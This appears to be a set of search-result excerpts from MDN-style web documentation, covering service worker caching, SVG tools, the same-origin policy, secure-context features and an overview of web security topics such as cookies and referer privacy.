cache.addall(contenttocache); }) ); }); there are two things that need an explanation here: what extendableevent.waituntil does, and what the caches object is. the service worker does not install until the code inside waituntil is executed. it returns a promise — this approach is needed because installing may take some time, so we have to wait for it to finish. caches is a special cachestorage object available in the scope of the given service worker to enable saving data — saving to web storage won't work, because web storage is synchronous. with service workers, we use the cache api instead. here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request url). activation there is also an a...
Tools for SVG - SVG: Scalable Vector Graphics
www.google.com/google-d-s/drawings/ drawings from google docs can be exported as svg. science the well-known plotting tools xfig and gnuplot both support exporting as svg. to render graphs on the web jsxgraph supports vml, svg and canvas, automatically deciding which technology to use based on browser capabilities. in gis (geographic information system) applications svg is often used as both storage and rendering format. see carto.net for details. more tools! the w3c offers a list of programs that support svg. « previous ...
Same-origin policy - Web security
nly. window.window read only. some browsers allow access to more properties than the above. location the following cross-origin access to location properties is allowed: methods location.replace attributes urlutils.href write-only. some browsers allow access to more properties than the above. cross-origin data storage access access to data stored in the browser such as web storage and indexeddb are separated by origin. each origin gets its own separate storage, and javascript in one origin cannot read from or write to the storage belonging to another origin. cookies use a separate definition of origins. a page can set a cookie for its own domain or any parent domain, as long as the parent domain is not a pub...
Features restricted to secure contexts - Web security
not supported not supported not supported payment request api (and basic card payment). 61 15 11.1 in development (behind the dom.payments.request.enabled pref). ...
Web security
01 and 302 response codes to be written data security using http cookies an http cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. the browser may store it and send it back with later requests to the same server. typically, it's used to tell if two requests came from the same browser — keeping a user logged-in, for example. local storage the window object's window.localstorage property is a way for servers to store data on a client that is persistent across sessions. information leakage referer header policy: privacy and security concerns there are privacy and security risks associated with the referer http header. this article describes them and offers advice on mitigating those risks. robots.txt to be written site map...